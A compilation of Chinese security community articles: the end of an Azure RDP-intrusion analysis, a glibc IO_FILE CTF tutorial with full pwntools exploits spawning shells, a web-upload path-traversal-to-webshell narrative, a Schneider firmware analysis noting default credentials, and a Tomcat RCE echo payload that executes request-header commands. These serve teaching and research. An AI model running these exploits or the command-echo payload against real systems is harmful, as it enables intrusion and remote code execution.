Center检测到了这次攻击的完整过程，并提供了最初的RDP暴力攻击的详细信息，并揭示了攻击者执行所有命令。在警报中还可以看出，所有混淆过的命令行都会被解密、解码，并在攻击的每个阶段以明文形式呈现。这个可以节省时间的宝贵信息有助于安全响应调查员和系统管理员了解“发生了什么事”，“什么时候发生”，“他们是怎么进入的”，“他们进入什么”
，“他们从哪里来”的一系列问题。此外，调查人员还可以确定其组织中的其他主机是否可能受到这个被入侵的主机的横向渗透的影响。对这个攻击的全面了解也可以帮助回答诸如“他们之后的目标是什么”等问题。在我们的例子中，主要目的似乎是窃取财务或账户凭据。
在我们的所有调查中，Azure Security
Center在帮助确定关键细节，如初始入侵方式、攻击源、可能的横向渗透和攻击范围方面发挥了关键作用。Azure Security
Center还会详细描述将来由于文件系统覆盖或日志保留/存储限制而可能丢失的组件。Azure Security
Center能够使用最新的机器学习和大数据分析技术，通过各种来源来获取、存储、分析和解密数据，这对于安全分析师、事件响应人员和取证人员来说是非常有价值的。
**推荐的补救和缓解措施**
我们可以看到，最初的攻击之所以得手是由于使用了容易猜到密码的用户帐户所导致的，之后，整个系统就被攻陷了。本例中，主机被植入了恶意的PowerShell代码，其主要目的是为了获得财务凭证或有价值得信息。
Microsoft建议通过审查可用的日志源、基于主机的分析以及取证析以帮助确定攻击过程中第一个沦陷的地方在哪里。Azure基础架构即服务（IaaS）和虚拟机（VM））提供了几个相关的功能以便于收集数据，包括将数据驱动器附加到正在运行的计算机和磁盘映像功能等。
Microsoft还建议使用恶意软件保护软件进行扫描，以帮助识别和删除主机上运行的恶意软件。如果已从被攻陷的主机识别出横向渗透，则补救措施应扩展到所有主机。
如果无法确定最初攻陷的地方在哪里的话，Microsoft建议备份关键数据并迁移到新的虚拟机。此外，新的或修复后的主机应该在连入网络之前进行安全加固，以防止重新感染。然而，如果这些无法立即执行的话，我们建议实施以下补救/预防措施：
1\.
密码策略：攻击者通常使用广泛流传的工具来发起暴力攻击，这些工具利用单词列表和智能规则集来智能地自动猜测用户密码。因此，第一步是确保为所有虚拟机使用复杂的密码。应使用强制频繁更改密码的复杂密码策略，并[了解执行密码策略的最佳做法](https://technet.microsoft.com/en-us/library/ff741764.aspx)。
2\.
端点：端点允许从互联网与您的虚拟机进行通信。在Azure环境中创建虚拟机时，默认情况下会创建两个端点，以帮助管理虚拟机，它们分别是远程桌面和PowerShell。建议删除任何不需要的端点，只有在需要的时候才添加它们。如果您有端点处于打开状态，建议尽可能修改所用的公共端口。创建新的Windows
VM时，默认情况下，远程桌面的公共端口设置为 “Auto”
，这意味着将为您自动生成随机的公共端口。要想获取有关[如何在Azure中的经典Windows虚拟机上设置端点](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/classic/setup-endpoints)的更多信息，请访问这里。
3\. 启用网络安全组：Azure Security
Center建议您启用网络安全组（NSG）（如果尚未启用的话）。NSG中包含了一个访问控制列表（ACL）规则列表，用来决定允许或拒绝虚拟网络中虚拟机实例的网络流量。端点ACL可以用来控制可以通过该管理协议访问的IP地址或CIDR地址子网。如果想要详细了解如何使用[网络安全组过滤网络流量](https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-nsg)，并在[Azure Security
Center中启用网络安全组](https://docs.microsoft.com/en-us/azure/security-center/security-center-enable-network-security-groups)的话，可以访问这里。
4\.
使用VPN进行管理：VPN网关是一种虚拟网络网关，可以通过公共连接将加密流量发送到本地的位置。您还可以使用VPN网关通过Microsoft网络在Azure虚拟网络之间发送加密流量。为了在Azure虚拟网络和本地站点之间发送加密的网络流量，您必须为虚拟网络创建一个VPN网关。[站点到站点](https://docs.microsoft.com/en-us/azure/vpn-gateway/vpn-gateway-about-vpngateways#site-to-site-and-multi-site-ipsecike-vpn-tunnel)和[站点到站点网关](https://docs.microsoft.com/en-us/azure/vpn-gateway/vpn-gateway-about-vpngateways#a-namep2sapoint-to-site-vpn-over-sstp)的连接都允许我们完全删除公共端点，并通过安全VPN直接连接到虚拟机。
5\.
网络级身份验证（NLA）：可以在主机上使用NLA，从而只让通过了域验证的用户创建远程桌面会话。由于NLA要求发起连接的用户在验明自己的身份之前，需要与服务器建立会话，因此可以有效缓解暴力、字典攻击和密码猜测攻击带来的危害。
6\. 即时（JIT）网络访问：Azure Security Center中的虚拟机（VM）的即时访问技术，可用于帮助保护和锁定Azure VM的入站流量。
JIT网络访问可以通过限制端口开放的时间来缓解暴力破解攻击，同时在需要时又可以轻松为虚拟机提供相应的连接。
**参考资源**
PowerShell团队已经做了大量的工作，使PowerShell成为最安全透明的脚本语言和shell。
以下链接详细介绍了如何解决PowerShell的相关问题：
https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/
https://www.youtube.com/watch?v=ZkJ64_tQxPU
有关恶意脚本及其输出的更多信息，请参阅以下内容：
[A most interesting PowerShell trojan [PowerShell sample and Raw Paste data
provided by @JohnLaTwC]](https://pastebin.com/7wyupkjl)
[Windows Defender Malware Encyclopedia Entry:
Spyware:PowerShell/Tripelog](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Spyware%3aPowerShell%2fTripelog) | 社区文章 |
# IO FILE之任意读写和scanf的限制绕过
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文将简单介绍一下scanf的长度绕过和由fwrite、fread实现的任意读写，然后用两个ctf例题（2018年的两道国赛题 echo_back 和
magic）来加深理解。
本文中write_s,write_e,read_s,read_e分别表示开始写入的开始结束地址、读取的开始结束地址。
## fread 之 stdin任意写
网上介绍fread源码分析的文章很多，所以本文就不着重分析他的详细流程了。
首先先介绍一下file结构(FILE在Linux系统的标准IO库中是用于描述文件的结构，称为文件流。
FILE结构在程序执行fopen等函数时会进行创建，并分配在堆中。我们常定义一个指向FILE结构的指针来接收这个返回值。)
FILE结构定义在libio.h中
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
先着重介绍其中要用到的指针：
* _IO_buf_base：输入（出）缓冲区的基地址，_IO_file_xsgetn函数会通过它来判断输入缓冲区是否为空，为空则会调用_IO_doallocbuf函数来进行初始化。
* _IO_buf_end：输入（出）缓冲区的结束地址。
* _IO_read_ptr：指向当前要写入的地址。
* _IO_read_end：一般和_IO_read_ptr共同使用，_IO_read_end-_IO_read_ptr表示可用的输入缓冲区大小。
接下来是实现任意写的过程：
在_IO_file_xsgetn中：
if (fp->_IO_buf_base == NULL)
会判断输入缓冲区是否为空，为空则调用_IO_doallocbuf。
我们是不希望他初始化缓冲区的，所以要构造fp->_IO_buf_base != NULL
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (have > 0)
{
将输入缓冲区中的内容拷贝至目标地址。
}
这里我们要实现任意写，就不能满足这个条件，一般构造_IO_read_end ==_IO_read_ptr，这样的话缓冲区就满足不了当前的需求，就会接着调用__underflow
__underflow（_IO_new_file_underflow）中有两个判断需要绕过：
1、
if (fp->_flags & _IO_NO_READS)
满足的话就会直接返回；所以这里要保证_flag位中不能有四。
2、
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
这里满足的话也会直接返回，所以我们一般构造_IO_read_end ==_IO_read_ptr。
因为最终调用的是read (fp->_fileno, buf, size))，所以我们还要构造
fp->_fileno为0。
小结一下：
* 设置_IO_buf_base为write_s，_IO_buf_end为write_end（_IO_buf_end-_IO_buf_base要大于0）
* flag位不能含有4（_IO_NO_READS），_fileno要为0。（最好就直接使用原本的flag）
* 设置_IO_read_end等于_IO_read_ptr。
_IO_new_file_underflow中在执行系统调用之前会设置一次FILE指针，将
_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部设置为_IO_buf_base。
这个内容后面的题目magic要用到，先在这里提一下。
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
## scanf 的长度修改：
scanf是调用stdin中的_IO_new_file_underflow去调用read的（和fread相同）。
这里依旧是上面的那几个关键代码：
一：·········································
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
二：·········································
count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
三：·········································
fp->_IO_read_end += count;
我们可以知道它是向fp->_IO_buf_base处写入（fp->_IO_buf_end – fp->_IO_buf_base）长度的数据。
只要我们可以修改_IO_buf_base和_IO_buf_end就可以实现任意位置任意长度的数据写入。
第三部分我们放到题目each_back中来分析。
## fwrite 之 stdout任意读写
因为stdout会将缓冲区中的数据输出出来，所以就具有了stdin没有的任意读功能。
首先说一下涉及到的指针：
* _IO_write_base：输出缓冲区基址。
* _IO_write_end：输出缓冲区结束地址。
* _IO_write_ptr：_IO_write_ptr和_IO_write_base之间的地址为已使用的缓冲区，_IO_write_ptr和_IO_write_end之间为未使用的缓冲区。
* _IO_buf_base：输入（出）缓冲区的基地址。
* _IO_buf_end：输入（出）缓冲区的结束地址。
### 任意写：
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{
把数据拷贝到缓冲区。
}
他的任意写是基于_IO_new_file_xsputn中将数据复制到缓冲区这一功能能实现的。
所以我们只要构造_IO_write_ptr为write_s，_IO_write_end为write_e，自然就满足了if的条件，这样就达到了任意写的目的。
### 任意读：
简单写一下fwrite的关键流程：
_IO_new_file_xsputn —> _IO_OVERFLOW(_IO_new_file_overflow) —>
_IO_do_write
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{
把数据拷贝到缓冲区。
}
if (to_do + must_flush > 0)
{
if (_IO_OVERFLOW (f, EOF) == EOF)
这里不同于上面的任意读，我们不希望他将数据拷贝到缓冲区中，这里一般构造f->_IO_write_end = f->_IO_write_ptr。
之后就会去调用_IO_OVERFLOW（_IO_new_file_overflow）
_IO_new_file_overflow中有两个对flag位的检查
if (f->_flags & _IO_NO_WRITES)
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
所以flag位要不包含8和0x800
接下来就会调用：
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
return (unsigned char) ch;
其中_IO_do_write函数的作用是输出缓冲区，我们这里要构造_IO_write_base为read_s，构造_IO_write_ptr为read_e。
在_IO_do_write中还有几个判断需要绕过：
if (fp->_flags & _IO_IS_APPENDING)
else if (fp->_IO_read_end != fp->_IO_write_base)
flag位不能包含 0x1000（_IO_IS_APPENDING），并且要构造fp->_IO_read_end = fp->_IO_write_base。
最后构造f->_fileno为1。
小结：
* flag位： 不能包含0x8、0x800、0x1000（最好就直接使用原本的flag）
* 构造_fileno为1
* 构造_IO_write_base=read_s，_IO_write_ptr=read_e。
## 例题：
### 2018 ciscn magic：
首先查看一下保护：
没有开启pie保护，Partial RELRO意味着我们可以修改函数got表。
放入ida种简单查看一下：
是个菜单题,上面只给出了三个功能，但是序号很蹊跷，正好跳过了3，我们通过阅读代码可以知道它是有3这个隐藏功能的，但因为解题过程中没有用到，就不说他了。
这道题的关键点在于功能二的以下部分中：
首先看一下write_spell和read_spell函数：
我们发现这两个函数调用了fwrite和fread函数，并且使用了自己创建的file结构。
而且fread函数后面还跟着一个write函数，结合上面提到的：
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (have > 0)
{
将输入缓冲区中的内容拷贝至目标地址。
}
这里的目标地址，就是write函数要输出内容所在的地址，也就是说如果我们能控制log_file结构，就可以利用read_spell函数来泄漏libc基址以及heap的基址。
那么要如何做到控制log_file呢：
我们看到最下面有一个 *（v3 + 0x28）-=50ll，那么我们看一下v3是什么：
这里是存在数组下标越界的
而指向log_file的指针正好位于数组的上方，所以我们让v2为-2的话，*（v3 + 0x28）-=50ll
就会修改的是log_file中的_IO_write_ptr。那么我们就要利用它来修改_IO_write_ptr。
这里要注意每次fwrite后会将输出的长度加到_IO_write_ptr上，修改的时候一定要注意。
*f->_IO_write_ptr++ = ch;
通过调试可以知道log_file结构位于我们create的堆地址上方。
for i in range(12):
spell(p, -2, 'x00')
spell(p, -2, 'x00' * 13)
spell(p, -2, 'x00' * 9)
可以看到此时已经将_IO_write_ptr修改为log_file结构内部的地址。
spell(p, 0, 'x00' * 3 + p64(0x231) + p64(0xfbad24a8))
spell(p, 0, p64(puts_got) + p64(puts_got + 0x100))
libc_addr = u64(p.recvn(6).ljust(8,'x00')) - puts_offest
利用上文说到的方法就可以泄漏出libc基址。
但是我们还需要heap基址用于got表修改，所以需要再泄漏一个地址，所以我们要使_IO_write_ptr指向泄漏libc之前的位置。
spell(p, -2, p64(0) + p64(0))
这样之后就可以用相同的方法再泄漏heap的基址：
spell(p, 0, 'x00' * 2 + p64(0x231) + p64(0xfbad24a8))
spell(p, 0, p64(log_addr) + p64(puts_got + 0x100) + p64(0))
heap_addr = u64(p.recvn(8)) - 0x10
接下来是修改got表部分：
spell(p, 0, p64(heap_addr + 0x58) + p64(0) + p64(heap_addr + 0x58))
spell(p, 0, p64(0x602122) + p64(0x602123 + 0x100))
在泄漏完heap基址后，log_file结构如下：
可以看到_IO_write_ptr为0x2042030，这样的话我们去执行上面脚本的第一行，因为输出的长度为0x18，这样修改的话就会变成下图这样：
这样的话，就符合了我们上面说的任意写的条件，接下来就可以去修改_IO_buf_baseh和_IO_buf_end。（也就是第二行代码）。
我在上文提到了：
_IO_new_file_underflow中在执行系统调用之前会设置一次FILE指针，将
_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部设置为_IO_buf_base。
所以我们在执行完上面两行代码后_IO_write_ptr就会指向0x602122（它位于fwrite函数got表的下方）
接下来我们就要调整IO_write_ptr的值来修改got表。
spell(p, -2, 'x00')
spell(p, -2, 'x01')
spell(p, -2, 'x00')
spell(p, 0, 'x00' * 2 + p64(libc_addr + system_offest)[0 : 6])
spell(p, 0, '/bin/sh')
这里有一点需要注意，就是spell(p, -2, ‘x01’)，这里必须要大于0，因为：
这里如果满足不了第一个if，就会跳转到muggle那部分。
完整的exp：
# coding:utf-8
from pwn import *
context(arch = 'amd64', os = 'linux')
context.log_level = 'debug'
debug=1
ip='111.198.29.45'
port='31577'
if debug == 1:
p = process('./magic')
else:
p = remote(ip, port)
puts_offest = 0x6f690
system_offest = 0x45390
puts_got = 0x602020
fwrite_got = 0x602090
log_addr = 0x6020E0
def debug():
gdb.attach(p)
pause()
def create(p, name):
p.recvuntil('choice>> ')
p.sendline('1')
p.recvuntil('name:')
p.send(name)
def spell(p, index, data):
p.recvuntil('choice>> ')
p.sendline('2')
p.recvuntil('spell:')
p.sendline(str(index))
p.recvuntil('name:')
p.send(data)
def final(p, index):
p.recvuntil('choice>> ')
p.sendline('3')
p.recvuntil('chance:')
p.sendline(str(index))
def pwn():
create(p, 'sss')
spell(p, 0, 'yyyyy')
for i in range(12):
spell(p, -2, 'x00')
spell(p, -2, 'x00' * 13)
spell(p, -2, 'x00' * 9)
#debug()
spell(p, 0, 'x00' * 3 + p64(0x231) + p64(0xfbad24a8))
spell(p, 0, p64(puts_got) + p64(puts_got + 0x100))
libc_addr = u64(p.recvn(6).ljust(8,'x00')) - puts_offest
log.info('libc addr is : ' + hex(libc_addr))
#debug()
spell(p, -2, p64(0) + p64(0))
spell(p, 0, 'x00' * 2 + p64(0x231) + p64(0xfbad24a8))
spell(p, 0, p64(log_addr) + p64(puts_got + 0x100) + p64(0))
heap_addr = u64(p.recvn(8)) - 0x10
log.info('heap addr is : ' + hex(heap_addr))
debug()
spell(p, 0, p64(heap_addr + 0x58) + p64(0) + p64(heap_addr + 0x58))
#debug()
spell(p, 0, p64(0x602122) + p64(0x602123 + 0x100))
spell(p, -2, 'x00')
spell(p, -2, 'x01')
spell(p, -2, 'x00')
spell(p, 0, 'x00' * 2 + p64(libc_addr + system_offest)[0 : 6])
spell(p, 0, '/bin/sh')
p.interactive()
if __name__ == '__main__':
pwn()
### 2018 ciscn each_back
日常检查，保护全家桶。
这道题的格式化字符串漏洞很明显
因为它开启了pie，所以我们最开始的思路就是要泄漏出一些我们需要的地址。
首先查看stack，寻找一些有用的信息：
这里我标出了三个内容（计算偏移时不要忘了这是64位程序，前六个参数保存在寄存器里）：
1.main函数的ebp
2.函数的返回地址，它对应main函数中的地址，所以我们可以借此获得程序的基地址（elf_ddr）
3.可以得到libc基址
printf函数返回地址的求法：
因为main函数里并没有修改rbp、rsp，所以这里printf函数的返回地址为main函数的rsp（也就是我们这里泄漏出的ebp） -0x28。
今天的重头戏来了：
他限制了我们输入的长度不能超过7，我们要想修改函数返回地址，payload不可能比7字节短，所以我们这里要找其他输入payload的方式，这里我们盯上了scanf函数。
我们就用上文提到的方法来修改scanf可输入的长度：
payload = p64(libc.address+0x3c4963)*3 + p64(stack_addr-0x28)+p64(stack_addr+0x10)
p.send(payload)
这里就有一点需要注意了，上文我留下的第三部分，就是：
fp->_IO_read_end += count;
我们在修改完长度之后,_IO_read_end就会加上我们payload长度的大小，这样就会导致后面输入payload来修改返回地址时，fp->_IO_read_ptr
< fp->_IO_read_end的条件无法实现，所以我们这里利用getchar函数（每次会使_IO_read_ptr+1）来让这个条件满足：
for i in range(len(payload)-1):
p.recvuntil('choice>>')
p.sendline('2')
p.recvuntil('length:')
p.sendline('')
这里主要说一下scanf的利用，关于格式化字符串的内容就不过多的叙述。
完整exp：
#coding:utf-8
from pwn import *
context.log_level = 'debug'
debug = 1
elf = ELF('./echo_back')
if debug:
p = process('./echo_back')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
else:
p = remote('', xxxx)
libc = ELF('./libc.so.6')
def dubug():
gdb.attach(p)
pause()
def set_name(name):
p.recvuntil('choice>>')
p.sendline('1')
p.recvuntil('name')
p.send(name)
def echo(content):
p.recvuntil('choice>>')
p.sendline('2')
p.recvuntil('length:')
p.sendline('-1')
p.send(content)
#----------------------------stack---------------------------------------------- echo('%12$pn')
p.recvuntil('anonymous say:')
stack_addr = int(p.recvline()[:-1],16)
#----------------------------elf--------------------------------------------- echo('%13$pn')
p.recvuntil('anonymous say:')
pie = int(p.recvline()[:-1],16)-0xd08
#----------------------------libc--------------------------------------------- echo('%19$pn')
p.recvuntil('anonymous say:')
libc.address = int(p.recvline()[:-1],16)-240-libc.symbols['__libc_start_main']
print '[+] system :',hex(libc.symbols['system'])
set_name(p64(libc.address + 0x3c4918)[:-1])
echo('%16$hhn')
p.recvuntil('choice>>')
p.sendline('2')
p.recvuntil('length:')
payload = p64(libc.address+0x3c4963)*3 + p64(stack_addr-0x28)+p64(stack_addr+0x10)
p.send(payload)
p.sendline('')
for i in range(len(payload)-1):
p.recvuntil('choice>>')
p.sendline('2')
p.recvuntil('length:')
p.sendline('')
p.recvuntil('choice>>')
p.sendline('2')
p.recvuntil('length:')
payload = p64(pie+0xd93)+p64(next(libc.search('/bin/sh')))+p64(libc.symbols['system'])
p.sendline(payload)
p.sendline('')
p.interactive()
参考资料：
<https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_write>
<https://wiki.x10sec.org/pwn/io_file/introduction/> | 社区文章 |
周末闲来没事干，分享下周末挖的一个垃圾0day
直接弱口令进去
目的明确，找找上传点
原来是小黑子（黑名单）
直接jspx上传看看
上传成功，但你到是给我返回路径啊
复制上面的看看
我干，直接下载出来了，直接f12看看找找jpg路径
发现还是有相同时间命名的文件
Fuzz路径看看，应该2015是时间，logo是上传的参数，最后是时间命名的文件
全是400
真是多看一眼就爆炸，再近一点靠近点快被融化
在找找别的图片路径看看有没有发现
翻着翻着看见一个小喇叭，出于好奇点开看看
点开看看，开启f12大法
突然这个时候想到，找个人设置瞅瞅
说出来不怕笑话，找个人设置找了半小时
Tm的藏这么深
你大爷的
不急，咱们获取下路径就行，上传jpg看看（上传的照片是他之前的）
然后拼接看看
可行，我以为前段只是js校验的时候是我想多了。
啥也不返回，然后我对比前面上传的包
一个path参数=cooperate，一个是=peopleinfo
原来path参数就是文件夹命名
那还说啥，直接拼接下机
我真的会谢，我以为是我搞错的时候，上传个txt看看
没毛病啊，难道是这个目录不解析jspx
根目录是解析jspx的，所以尝试下path参数跨目录
报500,不支持跨目录？，尝试下用/
上传成功
也不行，上传txt确可以跨了个目录
也试了编码这些，正当准备提桶跑路的时候
想到../不行试下..\
梭哈的艺术
正当准备复制连接的时候，不小心点快了，吧页面删了，直接重新传个命令马
愉快的周末，现在终于能下机了 | 社区文章 |
# Schnelder - 500NAC 固件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、固件基本信息
设备简介：5500NAC 是一个自动化的逻辑控制器，主要应用在楼宇控制系统，配备WEB界面以及cubs/MODBUS/Bacnet通信协议
获取方式：固件可以通过官网直接下载，附件中也包含固件。
固件压缩包文件名：5500NAC_Firmware_V1.6.0.zip
固件大小：8402400 字节 (8205 KiB)
SHA256: **81D2B46A6505B28D94DB9C7C9CF16EB38CC316747A1CCB93A3FBCE2C4487245E**
固件文件分析：解压后可获得 .img 系统镜像 binwalk 可直接解压出文件系统
## 二、固件分析
### 1.固件文件系统分析
使用 binwalk 对其分析并尝试解压，获取文件系统
### 2.敏感信息发现
查看 /etc 文件夹中各类配置文件，发现了多个服务的默认账户信息
### 3.业务代码解密&审计
经分析，该固件业务功能采用Lua编写，查看/lib/ 文件夹发现大量.lua 文件
打开某些文件，却发现是各种乱码，编辑器提示是编码问题，换了各种编码后发现并不能改变乱码现象
随后想到，lua 存在各种加密和编译方式（但编译后后缀大都会发生改变如 luac），审计发现开头标志位 LJ
到网上各种搜资料，最终在看雪一篇文章中发现了蛛丝马迹
在确定为 luajit 编译后从安全客一篇文章中获悉了 luajit
的反编译方法[{传送门}](https://www.anquanke.com/post/id/90241)，在这里我重点演示一下，使用 ljd 直接反编译
luajit 伪码的流程。
* * 在不同的版本中，Opcode 的不同会导致解析结果的不同，所以要首先要确定固件中的lua文件是由哪个版本的luajit以及lua编译的（否则会出错）
* 在 /usr/bin 中找到 luajit文件
使用ghidra反汇编 luajit 查找关键字符串 lua 确定了 luajit 以及 lua 的版本
从 luajit 官网下载相对应版本的demo 查看/src/lj_bc.h头文件中的opcode
在 ljd 工具目录下 有两处代码引用了 Opcode 分别是 ljd/ljd/bytecode/instructions.py 和
ljd/ljd/rawdump/code/py
对比 lj_bc.h 中的 Opcode 定义一个一个改就可以了，ljd 默认是 2.1.0版本的，多的注释，少的加上。
由于我要反编译许多源码，所以临时改了一下 /ljd/main.py 使其可以支持多文件，并且将反编译出来的demo
写入新的文件demo如下（这里我反编译的目录是固件里的/lib目录）： ****
import os
import re
import ljdmain
import sys def get_filelist(dir): ##获取包含绝对路径的文件列表 Filelist = []
for home, dirs, files in os.walk(path): for filename in files: #文件名列表， 包含完整路径 Filelist.append(os.path.join(home, filename)) return Filelist def mkdir(path): ##创建文件夹# 引入模块
import os# 去除首位空格 path = path.strip()# 去除尾部\ 符号path = path.rstrip("\\")# 判断路径是否存在# 存在 True# 不存在 False isExists = os.path.exists(path)# 判断结果
if not isExists: os.makedirs(path) print path + ' 创建成功'
return True
else :#如果目录存在则不创建， 并提示目录已存在 print path + ' 目录已存在'
return False# 调用函数if __name__ == "__main__": path = '/home/murkfox/ljd/lib'##
把固件中lib目录复制到了ljd工具目录下Filelist = get_filelist(path)## 获取被反编译的源码目录结构
for file in Filelist: ##创建空文件， 如果目录不存在就创建目录（ 将输出重定向至创建的空文件中） fil = file.split("/") fil[4] = "libdec"
ffi = ""
mkpath = ""
for i in range(len(fil)): if i > 0: ffi = ffi + "/" + fil[i]
if i < len(fil) - 1: mkpath = mkpath + "/" + fil[i]# mkpath = mkpath + "/"#
print(mkpath)# mkdir(mkpath) if re.search(r "\.lua", file): ##遍历要反编译的目录， 找到需要被反编译的文件 mkdir(mkpath) with open(ffi, "w") as fl: ##反编译文件， 并将反编译demo输出至对应文件
try: fl.write("## Dec file \n") sys.stdout = fl ljdmain.main(file) fl.close() except: pass
如下是被逆向出来的目录以及文件内容
很多从代码审计来看，程序多处操作都是直接通过系统命令完成操作测试文件上传处的命令执行成功
由于设备为linux系统，在ping 命令没有加 -c 导致ping 程序一直执行，引发了拒绝服务，设备直接下线。
也发现了许多有趣的地方 | 社区文章 |
# Tomcat通用回显学习笔记
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
RCE回显技术在20年突然火爆全网，这里学习跟进一下。看了很多大佬分析技术文章和实现方法可谓是百花齐放，但情有独钟的一种方法是来着
**zema1/ysoserial**
里面中的回显技术。Tomcat全版本都能实现回显，和其他大佬的方式不一样点是直接中`Thread`入手。但目前没看到对此方法的分析，这里斗胆写下自己的一些看法，如有错误还请斧正。
所以的源码、环境都已经上传至<https://github.com/SummerSec/JavaLearnVulnerability>
* * *
## 回显代码赏析
先贴出代码，大致上分析一下代码。代码来着https://github.com/feihong-cs/Java-Rce-Echo，代码本质上是和zema1/ysoserial的一样，只是换个方法。不难看出代码用了大量的反射，异常处理面对不同版本Tomcat可能出现的情况，与if语句不同，异常处理更加直接点，直接尝试两种方法面对不同情况。
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[]) f.get(group);
for(int i = 0; i < threads.length; i++) {
try{
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object obj = f.get(t);
if (!(obj instanceof Runnable)) continue;
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);
obj = f.get(obj);
try{
f = obj.getClass().getDeclaredField("handler");
}catch (NoSuchFieldException e){
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
obj = f.get(obj);
try{
f = obj.getClass().getSuperclass().getDeclaredField("global");
}catch(NoSuchFieldException e){
f = obj.getClass().getDeclaredField("global");
}
f.setAccessible(true);
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
java.util.List processors = (java.util.List)(f.get(obj));
for(int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
Object req = f.get(processor);
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
if (str != null && !str.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
obj = cls.newInstance();
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
} catch (NoSuchMethodException var5) {
Class cls = Class.forName("java.nio.ByteBuffer");
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
}
flag = true;
}
if (flag) break;
}
if (flag) break;
}catch(Exception e){
continue;
}
}
* * *
### Thread
1、每个Java应用程序都有一个执行Main()函数的默认主线程。 **这个就是主线程**
2、应用程序也可以创建线程在后台运行。Java主要是通过Java.Lang.Thread类以及Java.lang.Runnable接口来实现线程机制的。
**这边所有的都是其余线程**
在Java的反射中，get方法是可以获取该字段对应的对象，但有一定的条件。ps：在文末补充知识点补充
// 获取当前线程组
ThreadGroup group = Thread.currentThread().getThreadGroup();
// 反射获取字段threads
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
// f.get(group) 获取 threads 线程中数组对象
Thread[] threads = (Thread[]) f.get(group);
开启一个spring boot 服务，debug看一下流程。
对流程处理分析，这里引用lucifaer师傅的一张图。
* * *
### 线程处理
获取线程名字，跳过不需要的线程。
